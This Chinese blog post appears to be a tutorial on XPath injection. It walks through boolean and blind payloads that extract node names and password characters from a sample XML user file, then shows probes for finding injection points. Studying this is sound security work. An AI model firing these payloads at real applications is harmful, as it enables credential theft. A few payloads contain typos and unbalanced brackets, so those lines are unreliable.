浅谈XPath注入检测思路和方法

时间:2021-05-21 21:26:54
0x00
今天看书的时候看到了个对XPath注入总结不错的书,分享给大家,希望对以后写自动化测试工具有帮助
0x01
我们都应该知道XPath这种语言是做什么的,就不细讲了,具体参见菜鸟教程 XPath语法详解
XML不是保存企业数据的,但是很多情况下都用来保存应用程序配置数据,小型应用程序也保存简单信息,例如角色权限等等
下面给出一个XML的列子
<addressBooke>
  <address>
   <name>Tom</name>
   <password>abcdefg</password>
   <age>20</age>
   <phone>13000000000</phone>
 </address>
 <address>
   <name>Bob</name>
   <password>abcdefg</password>
   <age>30</age>
   <phone>13000000001</phone>
 </address>
 <address>
   <name>Jack</name>
   <password>abcdefg</password>
   <age>40</age>
   <phone>13000000002</phone>
 </address>
 
0x02
原理 类似SQL注入,构建新的查询逻辑来进行攻击
但是要注意,关键词像函数这种的 区分大小写
1.构建新的逻辑实现注入
or 1=1
and 1=2
'or 'a'='a
'and 'a'='b
一个字节一个字节的提取出信息:
'or //address[name/text()='Tom' and substring(password/text(),1,1))] ='a' and 'a'='a
返回正常则判断正确
等同于下面的查询:
//address[name/text()='' or //address[name/text()='Tom' and substring(password/text(),1,1))] ='a' ]and 'a'='a]/phone/text()
通过查询名字的输入 却查询到了了tom的密码首位,尝试攻击每一个字符位置并测试每一个可能的值,获得密码
 
2.当然了大部分情况下,我们不能够知道任何节点的名称或者说只能知道一部分,可使用盲注XPath
相当于SQL盲注 (大家都对语句嫩熟于心,不多提了)
首先提取父节点的名字:
'or substring(name(parent::*[position()=1]),1,1)='a  正常
'or substring(name(parent::*[position()=1]),2,1)='d  正常
........
父节点名字为address 是元素节点
提取子节点名字
'or substring(//address[1]/*[2],1,1)='p' or 'a'='a 正常
'or substring(//address[1]/*[2],2,1)='a' or 'a'='a 正常
........
二号子节点名称为password
提取子节点的值:
基于原理://address[1]/*[2]/text() -> tom的password 但是这个不会输出
我们通过布尔型来查询XML所有的内容
'or substring(//address[1]/*[2]/text(),1,1)='a' or'a'='a 正常
'or substring(//address[1]/*[2]/text(),1,1)='b' or'a'='a 正常
......
第二个子节点值为abcdefg
 
0x03
测试步骤:
提交这些看能否使得状态改变 (count返回子节点数量)
' or count(parent::*[position()=1])=0 or 'a'='b 状态1
' or count(aprent::*[position()=1])>0 or 'a'='b 状态改变
数字型参数:
1 or count(parent::*[position()=1])=0
1 or count(parent::*[position()=1])=0 状态改变
确定了存在注入点,用上面的方法注入就可以了!